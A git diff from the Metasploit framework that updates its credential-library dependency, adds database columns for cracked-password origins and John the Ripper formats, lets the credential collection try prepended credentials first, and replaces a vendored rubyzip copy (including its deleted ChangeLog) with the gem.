diff --git a/Gemfile b/Gemfile index 8ccda3d3e9..5986dc1d65 100755 --- a/Gemfile +++ b/Gemfile @@ -1,5 +1,4 @@ source 'https://rubygems.org' - # Add default group gems to `metasploit-framework.gemspec`: # spec.add_runtime_dependency '', [] gemspec @@ -8,7 +7,7 @@ group :db do # Needed for Msf::DbManager gem 'activerecord', '>= 3.0.0', '< 4.0.0' # Metasploit::Credential database models - gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.3.2-electro-release' + gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.4.1-electro-release' # Database models shared between framework and Pro. gem 'metasploit_data_models', '~> 0.17.1' # Needed for module caching in Mdm::ModuleDetails diff --git a/Gemfile.lock b/Gemfile.lock index b6bc02f031..54d407fefe 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,12 +1,13 @@ GIT remote: github-metasploit-credential:rapid7/metasploit-credential.git - revision: 7eb354ee05c9c9e55875f1c6b86de5de54b014a5 - tag: v0.3.2-electro-release + revision: 39fc93ded093ad862f62d257bcf9c5a08b614d30 + tag: v0.4.1-electro-release specs: - metasploit-credential (0.3.2.pre.electro.pre.release) + metasploit-credential (0.4.1.pre.electro.pre.release) metasploit-concern (~> 0.1.0) metasploit_data_models (~> 0.17.0) rubyntlm + rubyzip (~> 1.1) PATH remote: . @@ -21,6 +22,7 @@ PATH railties rkelly-remix (= 0.0.6) robots + rubyzip (~> 1.1) sqlite3 tzinfo @@ -115,6 +117,7 @@ GEM rspec-expectations (~> 2.14.0) rspec-mocks (~> 2.14.0) rubyntlm (0.4.0) + rubyzip (1.1.4) shoulda-matchers (2.6.0) activesupport (>= 3.0.0) simplecov (0.5.4) diff --git a/db/schema.rb b/db/schema.rb index 0fac99fb66..36809974c5 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20140520140817) do +ActiveRecord::Schema.define(:version => 20140605173747) do create_table "api_keys", :force => true do |t| t.text "token" @@ -198,6 +198,14 @@ ActiveRecord::Schema.define(:version => 20140520140817) do add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true + create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t| + t.integer "metasploit_credential_core_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores" + create_table "metasploit_credential_origin_imports", :force => true do |t| t.text "filename", :null => false t.integer "task_id", :null => false @@ -238,6 +246,7 @@ ActiveRecord::Schema.define(:version => 20140520140817) do t.text "data", :null => false t.datetime "created_at", :null => false t.datetime "updated_at", :null => false + t.string "jtr_format" end add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index d48f262ef8..61d2f70d31 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -15,6 +15,7 @@ require 'packetfu' # rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix' require 'rkelly' require 'robots' +require 'zip' # # Project diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index 85b3b7c7fc..a55a949caf 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -6,27 +6,41 @@ class Metasploit::Framework::CredentialCollection # Whether each username should be tried with a blank password # @return [Boolean] attr_accessor :blank_passwords + # @!attribute pass_file # Path to a file containing passwords, one per line # @return [String] attr_accessor :pass_file + # @!attribute realm # @return [String] attr_accessor :realm + # @!attribute password # @return [String] attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + # @!attribute user_as_pass # Whether each username should be tried as a password for that user # @return [Boolean] attr_accessor :user_as_pass + # @!attribute user_file # Path to a file containing usernames, one per line # @return [String] attr_accessor :user_file + # @!attribute username # @return [String] attr_accessor :username + # @!attribute user_file # Path to a file containing usernames and passwords seperated by a space, # one pair per line @@ -36,6 +50,7 @@ class Metasploit::Framework::CredentialCollection # @option opts [Boolean] :blank_passwords See {#blank_passwords} # @option opts [String] :pass_file See {#pass_file} # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} # @option opts [Boolean] :user_as_pass See {#user_as_pass} # @option opts [String] :user_file See {#user_file} # @option opts [String] :username See {#username} @@ -44,6 +59,17 @@ class Metasploit::Framework::CredentialCollection opts.each do |attribute, value| public_send("#{attribute}=", value) end + self.prepended_creds ||= [] + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self end # Combines all the provided credential sources into a stream of {Credential} @@ -56,6 +82,8 @@ class Metasploit::Framework::CredentialCollection pass_fd = File.open(pass_file, 'r:binary') end + prepended_creds.each { |c| yield c } + if username if password yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm) diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb index 1ed82452fc..9320936192 100644 --- a/lib/metasploit/framework/tcp/client.rb +++ b/lib/metasploit/framework/tcp/client.rb @@ -178,8 +178,6 @@ module Metasploit raise NotImplementedError end - protected - attr_accessor :sock end diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 33db0e6a54..1ba102bef6 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -7,7 +7,6 @@ require 'csv' require 'tmpdir' require 'uri' -require 'zip' # # @@ -2914,7 +2913,7 @@ class DBManager case data[0,4] when "PK\x03\x04" - data = Zip::ZipFile.open(filename) + data = Zip::File.open(filename) when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" data = PacketFu::PcapFile.new(:filename => filename) else @@ -2981,7 +2980,7 @@ class DBManager # If there is no match, an error is raised instead. def import_filetype_detect(data) - if data and data.kind_of? Zip::ZipFile + if data and data.kind_of? Zip::File if data.entries.empty? raise DBImportError.new("The zip file provided is empty.") end diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb index 90cd666a3e..dea8f15d52 100644 --- a/lib/msf/core/module/deprecated.rb +++ b/lib/msf/core/module/deprecated.rb @@ -70,13 +70,19 @@ module Msf::Module::Deprecated print_warning("*"*72) end + def init_ui(input = nil, output = nil) + super(input, output) + print_deprecation_warning + @you_have_been_warned = true + end + def generate print_deprecation_warning super end def setup - print_deprecation_warning + print_deprecation_warning unless @you_have_been_warned super end diff --git a/lib/zip.rb b/lib/zip.rb deleted file mode 100644 index 5a89853ce1..0000000000 --- a/lib/zip.rb +++ /dev/null @@ -1 +0,0 @@ -require 'zip/zip' diff --git a/lib/zip/ChangeLog b/lib/zip/ChangeLog deleted file mode 100644 index 63bf7858f0..0000000000 --- a/lib/zip/ChangeLog +++ /dev/null @@ -1,1146 +0,0 @@ -2010-01-01 13:43 thomas - - * NEWS, lib/zip/zip.rb, test/ziptest.rb: Changed - ZipOutputStream.put_next_entry to make it possible to specifiy - comments, extra field and compression method. - -2009-12-31 16:25 thomas - - * Rakefile: Updated publish method. - -2009-11-27 22:59 thomas - - * NEWS, lib/zip/zip.rb: Bumped micro number and updated NEWS file. - - * lib/zip/zip.rb: Provide convenience methods for retrieving name - and comments in character encoding of choice (pending ruby - character String class). - -2009-04-05 12:28 thomas - - * install.rb, lib/zip/zip.rb, samples/example_filesystem.rb, - test/zipfilesystemtest.rb, test/ziptest.rb: Applied ruby-1.9 - compatibility patch from Yuya Nishida. - -2008-08-26 20:49 thomas - - * lib/zip/zip.rb: Rewrote fix for rename bug. - -2008-08-24 14:34 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Refixed rename to avoid - decompressing and recompressing entry. - -2008-08-24 11:43 drylight - - * NEWS, README, Rakefile, lib/zip/zip.rb: Update version number and - minor release note changes. - - * NEWS, README, lib/zip/zip.rb, test/ziptest.rb: Fixed: Renaming an - entry failed if the entry's new name was a different length than - its old name. - -2006-12-24 11:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Added IOExtras.copy_stream_n and - used it to avoid loading large entries into memory when copying - from one stream to another. - -2006-12-17 15:03 thomas - - * lib/zip/zip.rb: Bug 1614537 Version needed to extract set. - -2006-11-21 09:12 thomas - - * lib/zip/zipfilesystem.rb, test/zipfilesystemtest.rb: Bug 1600222 - Fixed it so ZipFsFile#open accepts and ignores b(inary) option. - -2006-09-05 22:53 thomas - - * test/zipfilesystemtest.rb: Avoid warnings while running tests. - -2006-08-04 19:56 technorama - - * lib/zip/zip.rb: bugfix: :link -> :symlink - -2006-07-01 10:04 thomas - - * Rakefile: Don't autorequire zip/zip - autorequire is deprecated. - -2006-06-30 09:28 thomas - - * Rakefile: [no log message] - - * NEWS, lib/zip/zip.rb: Bumped version number and reformatted NEWS - a bit. - -2006-06-29 22:49 technorama - - * lib/zip/zip.rb, NEWS: documentation additions - -2006-04-30 06:25 technorama - - * TODO, lib/zip/zip.rb, test/ziptest.rb: add documentation and test - for new ZipFile::extract - - * lib/zip/zip.rb: add some of the API suggestions from sf.net - #1281314 - - * lib/zip/zip.rb: apply patch for bug #1446926 - - * lib/zip/zip.rb: apply patch for bug #1459902 - -2006-04-26 17:17 technorama - - * lib/zip/zip.rb: add ZipFile @restore_*, documentation update - -2006-04-07 21:13 technorama - - * test/: gentestfiles.rb, zipfilesystemtest.rb, ziptest.rb: - additional tests - -2006-03-28 04:11 technorama - - * lib/zip/zip.rb: start of unix_uid, unix_gid, restore_* support - - * lib/zip/zip.rb: follow_symlinks is now optional - - * lib/zip/zip.rb: add eof? methods - - * test/ziptest.rb: eof? tests - -2006-02-26 09:57 technorama - - * README: add to authors - - * TODO: [no log message] - -2006-02-25 12:04 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Did away with ZipStreamableFile. - -2006-02-23 08:03 technorama - - * lib/zip/zip.rb: unix file permissions. symlink support. rework - ZipEntry and delegate classes. reduce memory usage during - decompression. - -2006-02-22 23:44 technorama - - * lib/zip/zipfilesystem.rb: update permissionInt for mkdir - -2006-02-04 10:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Merged patch from oss-ruby. - -2005-11-19 16:17 thomas - - * lib/zip/zip.rb: [no log message] - -2005-11-08 08:23 thomas - - * lib/zip/ioextras.rb: Accepted patch from oss-ruby - -2005-10-07 09:54 thomas - - * TODO: [no log message] - -2005-09-06 21:19 thomas - - * lib/zip/zip.rb: [no log message] - - * NEWS: [no log message] - - * lib/zip/zip.rb, test/gentestfiles.rb, test/ziptest.rb: Fixed - problem on windows - tempfile has to be set to binmode again when - it is reopened - -2005-09-04 16:45 thomas - - * Rakefile: [no log message] - - * TODO: [no log message] - - * test/ziptest.rb: [no log message] - -2005-09-03 10:27 thomas - - * NEWS: [no log message] - - * TODO, lib/zip/zip.rb: [no log message] - - * lib/zip/ioextras.rb, lib/zip/zip.rb, test/ziptest.rb: Merged - patch from oss-ruby at technorama.net - - * test/ziptest.rb: Added failing test that shows that read and gets - don't mix currently - -2005-08-29 08:50 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - - * NEWS, lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - -2005-08-07 14:27 thomas - - * lib/zip/zip.rb, NEWS: [no log message] - -2005-08-06 11:12 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - -2005-08-03 18:54 thomas - - * lib/zip/zip.rb: Read/write in chunks to preserve memory - -2005-07-02 15:08 thomas - - * lib/zip/zip.rb: Applied received patch concerning FreeBSD 4.5 - issue - -2005-04-03 16:52 thomas - - * samples/.cvsignore: [no log message] - - * samples/: qtzip.rb, zipdialogui.ui: Added a qt example - -2005-03-31 21:58 thomas - - * lib/zip/zip.rb, test/ziptest.rb: [no log message] - - * test/zipfilesystemtest.rb: [no log message] - -2005-03-17 18:17 thomas - - * Rakefile: [no log message] - - * NEWS, README, lib/zip/zip.rb: [no log message] - - * install.rb: Fixed install.rb - -2005-03-03 18:38 thomas - - * Rakefile: [no log message] - -2005-02-27 16:23 thomas - - * lib/zip/ziprequire.rb: Added documentation to ziprequire - - * README, TODO, lib/zip/ziprequire.rb: Added documentation to - ziprequire - - * Rakefile, test/ziptest.rb: [no log message] - -2005-02-19 21:30 thomas - - * lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/ziprequire.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Added more rdoc and - changed the remaining tests to Test::Unit - - * lib/zip/: ioextras.rb, zip.rb: Added documentation to - ZipInputStream and ZipOutputStream - -2005-02-18 10:27 thomas - - * README: [no log message] - -2005-02-17 23:21 thomas - - * README, Rakefile: Added ppackage (publish package) task to - Rakefile - - * README, Rakefile, TODO: Added pdoc (publish doc) task to Rakefile - - * README, Rakefile, TODO, lib/zip/stdrubyext.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb: Added a bunch of documentation - - * test/ziptest.rb: [no log message] - -2005-02-16 20:04 thomas - - * NEWS, README, Rakefile: Improved documentation and added rdoc - task to Rakefile - - * NEWS, Rakefile, lib/zip/zip.rb: [no log message] - - * Rakefile, samples/example.rb, samples/example_filesystem.rb, - samples/gtkRubyzip.rb, samples/write_simple.rb, - samples/zipfind.rb, test/.cvsignore, test/gentestfiles.rb: - Improvements to Rakefile - -2005-02-15 23:35 thomas - - * NEWS, TODO: [no log message] - - * Rakefile, rubyzip.gemspec: Now uses Rake to build gem - - * Rakefile: [no log message] - - * lib/zip/zip.rb, test/.cvsignore, test/ziptest.rb, NEWS: Fixed - compatibility issue with ruby 1.8.2. Migrated test suite to - Test::Unit - - * NEWS, lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb, lib/zip/ziprequire.rb, test/.cvsignore, - test/file1.txt, test/file1.txt.deflatedData, test/file2.txt, - test/gentestfiles.rb, test/ioextrastest.rb, - test/notzippedruby.rb, test/rubycode.zip, test/rubycode2.zip, - test/stdrubyexttest.rb, test/testDirectory.bin, - test/zipWithDirs.zip, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb, test/data/.cvsignore, - test/data/file1.txt, test/data/file1.txt.deflatedData, - test/data/file2.txt, test/data/notzippedruby.rb, - test/data/rubycode.zip, test/data/rubycode2.zip, - test/data/testDirectory.bin, test/data/zipWithDirs.zip: Changed - directory structure - -2005-02-13 22:44 thomas - - * Rakefile, TODO: [no log message] - - * rubyzip.gemspec: [no log message] - - * install.rb: Made install.rb independent of the current path - (fixes bug reported by Drew Robinson) - -2004-12-12 11:22 thomas - - * NEWS, TODO, samples/write_simple.rb: Fixed 'version needed to - extract'-field wrong in local headers - -2004-05-02 15:17 thomas - - * rubyzip.gemspec: Added gemspec contributed by Chad Fowler - -2004-04-02 07:25 thomas - - * NEWS: Fix for FreeBSD 4.9 - -2004-03-29 00:28 thomas - - * NEWS: [no log message] - -2004-03-28 17:59 thomas - - * NEWS: [no log message] - -2004-03-27 16:09 thomas - - * test/stdrubyexttest.rb: Patch for stdrubyext.rb from Nobu Nakada - - * test/: ioextrastest.rb, stdrubyexttest.rb: converted some files - to unix line-endings - -2004-03-25 16:34 thomas - - * NEWS, install.rb: Significantly reduced memory footprint when - modifying zip files - -2004-03-16 18:20 thomas - - * install.rb, test/alltests.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/ziptest.rb: IO utility classes moved - to new file ioextras.rb. Tests moved to new file ioextrastest.rb - -2004-02-27 13:21 thomas - - * NEWS: Optimization to avoid decompression and recompression - -2004-01-30 16:17 thomas - - * NEWS: [no log message] - - * README, test/zipfilesystemtest.rb, test/ziptest.rb: Applied - extra-field patch - -2003-12-13 16:57 thomas - - * TODO: [no log message] - -2003-12-10 00:25 thomas - - * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano - -2003-08-23 09:42 thomas - - * test/ziptest.rb, NEWS: Fixed ZipFile.get_ouput_stream bug - data - was never written to zip - -2003-08-21 16:05 thomas - - * install.rb: [no log message] - - * alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb, - ziprequiretest.rb, ziptest.rb, test/alltests.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby - files to test/ - - * NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/example_filesystem.rb, samples/gtkRubyzip.rb, - samples/zipfind.rb: Moved all production source files to zip/ so - they are in the same dir as when they are installed - - * NEWS, TODO, alltests.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, fileutils.rb: Removed - filearchive.rb, filearchivetest.rb and fileutils.rb - - * samples/.cvsignore, samples/example_filesystem.rb, zip.rb, - samples/example_filesystem.rb: Added - samples/example_filesystem.rb. Fixed Tempfile creation for - entries created with get_output_stream where entries were in a - subdirectory - - * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if - the zipfile doesn't exist already - - * ziptest.rb: [no log message] - - * TODO, zipfilesystemtest.rb: Globbing test placeholder commented - out - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new - and open - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator - and tests - -2003-08-20 22:50 thomas - - * NEWS, TODO: [no log message] - - * zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of - it - - * README: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to - ZipFile is now routed through ZipFileNameMapper which has the - single responsibility of mapping entry/filenames - - * alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added - stdrubyexttest.rb and added test test_select_map - - * zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem - now has a ctor that creates ZipFsDir and ZipFsFile instances, - instead of creating them lazily. It then passes the dir instance - to the file instance and vice versa - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open - honours chdir - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented - ZipFsDir.chdir, pwd and entries including test - -2003-08-19 15:44 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.mkdir - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.delete (and aliases rmdir and unlink) - - * zipfilesystem.rb, zipfilesystemtest.rb: Another dummy - implementation and commented out a test for select() which can be - added later - -2003-08-18 20:40 thomas - - * ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning - - * zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb: - Converted a few more names to ruby underscore style that I missed - with the automated processing the first time around - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: - Implemented Zip::ZipFile.get_output_stream - -2003-08-17 18:28 thomas - - * README, install.rb, stdrubyext.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Updated README with Documentation section. - Updated install.rb. Fixed three tests that failed on 1.8.0. - -2003-08-14 05:40 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Added empty - implementations of atime and ctime - -2003-08-13 17:08 thomas - - * simpledist.rb: Moved simpledist to a separate repository called - 'misc' - - * NEWS: [no log message] - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method - names to the ruby convention underscore style - - * alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - a lot more of the stat methods. Mostly with dummy implementations - that return values that indicate that these features aren't - supported - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods - and tests in zipfilesystem. Mostly empty methods as permissions - and file types other than files and directories are not supported - - * install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the - modifications to std ruby classes to it. Refactored the ZipFsStat - tests and ZipFsStat. Added Module.forwardMessages and used it to - implement the forwarding of calls in ZipFsStat - - * zipfilesystem.rb, zipfilesystemtest.rb: Added - Zip::ZipFsFile::ZipFsStat and started implementing it and its - methods - - * zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and - added missing copyright notices - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb - is becoming big and not everyone will want to use that code. - Therefore zip.rb no longer requires it. Instead you must require - zipfilesystem.rb itself if you want to use it - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy - permission test methods - - * TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer - Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0 - now - -2003-08-12 19:18 thomas - - * zip.rb: Get rid of 1.8.0 warning - - * ziptest.rb: ruby 1.8.0 compatibility fix - - * NEWS, zip.rb: ruby-zlib 0.6.0 compatibility fix - -2002-12-22 20:12 thomas - - * zip.rb: [no log message] - -2002-09-16 22:11 thomas - - * NEWS: [no log message] - -2002-09-15 17:16 thomas - - * samples/zipfind.rb: [no log message] - - * samples/zipfind.rb: [no log message] - -2002-09-14 22:59 thomas - - * samples/zipfind.rb: Added simple zipfind script - -2002-09-13 23:53 thomas - - * TODO: Added TODO about openmode for zip entries binary/ascii - - * NEWS: ziptest now runs without errors with ruby-1.7.2-4 (Andy's - latest build) - - * zip.rb, ziprequiretest.rb, ziptest.rb: ziptest now runs without - errors with ruby-1.7.2-4 (Andy's latest build) - -2002-09-12 00:20 thomas - - * zipfilesystemtest.rb: Improved ZipFsFile.delete/unlink test - - * test/.cvsignore: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.delete/unlink - -2002-09-11 22:22 thomas - - * alltests.rb: [no log message] - - * NEWS, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Fixed - AbstractInputStream.each_line ignored its aSeparator argument. - Implemented more ZipFsFile methods - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFileSystem is - now a module instead of a class, and is mixed into ZipFile, - instead of being made available as a property fileSystem - -2002-09-10 23:45 thomas - - * NEWS: Updated NEWS file - - * zip.rb: [no log message] - - * NEWS, zip.rb, ziptest.rb: Fix bug: rewind should reset lineno. - Fix bug: Deflater.read uses separate buffer from produceInput - (feeding gets/readline etc) - -2002-09-09 23:48 thomas - - * .cvsignore: [no log message] - -2002-09-09 22:55 uid26649 - - * zip.rb, ziptest.rb: Implemented ZipInputStream.rewind and - AbstractInputStream.lineno. Tests for both - -2002-09-09 20:31 thomas - - * zip.rb, ziptest.rb: ZipInputStream and ZipOutstream (thru their - AbstractInputStream and AbstractOutputStream now lie about being - kind_of?(IO) - -2002-09-08 16:38 thomas - - * zipfilesystemtest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: Moved - String additions from filearchive.rb to zip.rb (and moved tests - along too to ziptest.rb). Added ZipEntry.parentAsString and - ZipEntrySet.parent - - * ziptest.rb: Implemented ZipEntrySetTest.testDup and testCompound - - * TODO, zip.rb, ziptest.rb: Replaced Array with EntrySet for - keeping entries in a zip file. Tagged repository before this - commit, so this change can be rolled back, if it stinks - -2002-09-07 20:21 thomas - - * zip.rb, ziptest.rb: Implemented ZipEntry.<=> - - * ziptest.rb: Removed unused code - -2002-08-11 15:14 thomas - - * zip.rb, ziptest.rb: Made some changes to accomodate ruby 1.7.2 - -2002-07-27 15:25 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsFile.new - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.pipe - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.link - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.readlink, wrapped ZipFileSystem class in Zip module - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.zero? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented test for - ZipFsFile.directory? - -2002-07-26 23:56 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.socket? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.join - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.ftype - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.blockdev? - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.size? (slightly different from size) - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.split - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsFile.symlink? - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Implemented ZipFsFile.mtime - - * zipfilesystem.rb, zipfilesystemtest.rb: Implement ZipFsFile.file? - - * zip.rb, ziptest.rb: Implemented ZipEntry.file? - - * alltests.rb, filearchive.rb, filearchivetest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziptest.rb: Implemented ZipFileSystem::ZipFsFile.size - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * test/zipWithDirs.zip: Changed zipWithDirs.zip so all the entries - in it have unix file endings - - * alltests.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: - Started implementing ZipFileSystem - - * test/zipWithDirs.zip: Added a zip file for testing with a - directory structure - -2002-07-22 21:40 thomas - - * TODO: [no log message] - - * TODO: [no log message] - -2002-07-21 18:20 thomas - - * NEWS: [no log message] - - * TODO: Updated TODO with a refactoring idea for FileArchive - - * filearchive.rb, filearchivetest.rb: Added some FileArchiveAdd - tests and cleaned up some of the FileArchive tests. extract and - add now have individual test fixtures. - - * filearchive.rb, filearchivetest.rb: Added tests for extract - called with regex src arg and Enumerable src arg - - * filearchivetest.rb: Added test for continueOnExistsProc when - extracting from a file archive - -2002-07-20 17:13 thomas - - * TODO, filearchivetest.rb, fileutils.rb, ziptest.rb, - test/.cvsignore: Added (failing) tests for FileArchive.add, added - code for creating test files for FileArchive.add tests. Added - fileutils.rb, which is borrowed from ruby 1.7.2 - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: Added tests for String extensions - - * alltests.rb, ziprequiretest.rb, ziptest.rb: [no log message] - - * install.rb: [no log message] - - * TODO: Updated TODO - - * filearchive.rb, filearchivetest.rb: All FileArchive.extract tests - run - -2002-07-19 23:11 thomas - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, zip.rb: [no log message] - -2002-07-08 13:41 thomas - - * TODO: [no log message] - -2002-06-11 19:47 thomas - - * filearchive.rb, filearchivetest.rb, zip.rb, ziptest.rb: [no log - message] - -2002-05-25 00:41 thomas - - * simpledist.rb: Added hackish script for creating dist files - -2002-04-30 21:22 thomas - - * TODO: [no log message] - - * filearchive.rb, filearchivetest.rb: [no log message] - - * filearchive.rb, filearchivetest.rb: Improved testing and wrote - some of the skeleton of extract. Still to do: Fix glob, so it - returns a hashmap instead of a list. The map will need to map the - full entry name to the last part of the name (which is only - really interesting for recursively extracted entries, otherwise - it is just the name). Glob.expandPathList should also output - directories with a trailing slash, which is doesn't right now. - - * filearchive.rb, filearchivetest.rb: Implemented the first few - tests for FileArchive - -2002-04-24 22:06 thomas - - * ziprequire.rb, ziprequiretest.rb: Appended copyright message to - ziprequire.rb and ziprequiretest.rb - - * zip.rb: Made ZipEntry tolerate invalid dates - -2002-04-21 00:57 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Read and write entry modification - date/time correctly - -2002-04-20 02:44 thomas - - * ziprequiretest.rb, test/rubycode2.zip: improved ZipRequireTest - - * ziprequire.rb: Made a warning go away - - * ziprequire.rb, ziprequiretest.rb, test/notzippedruby.rb, - test/rubycode.zip: Fixed a bug in ziprequire. Added - ziprequiretest.rb and test data files - -2002-04-19 22:43 thomas - - * zip.rb, ziptest.rb: Added recursion support to Glob module - -2002-04-18 21:37 thomas - - * NEWS, TODO, zip.rb, ziptest.rb: Added Glob module and GlobTest - unit test suite. This module provides the functionality to expand - a 'glob pattern' given a list of files - Next step is to use this - module in ZipFile - -2002-04-01 22:55 thomas - - * NEWS: [no log message] - - * TODO, zip.rb, ziprequire.rb: Added ziprequire.rb which contains a - proof-of-concept implementation of a require implementation that - can load ruby modules from a zip file. Needs unit tests and - polish. - -2002-03-31 01:13 thomas - - * README: [no log message] - -2002-03-30 16:14 thomas - - * TODO: [no log message] - - * .cvsignore, README, zip.rb: Added rdoc markup (only #:nodoc:all - modifiers) to zip.rb. Made README 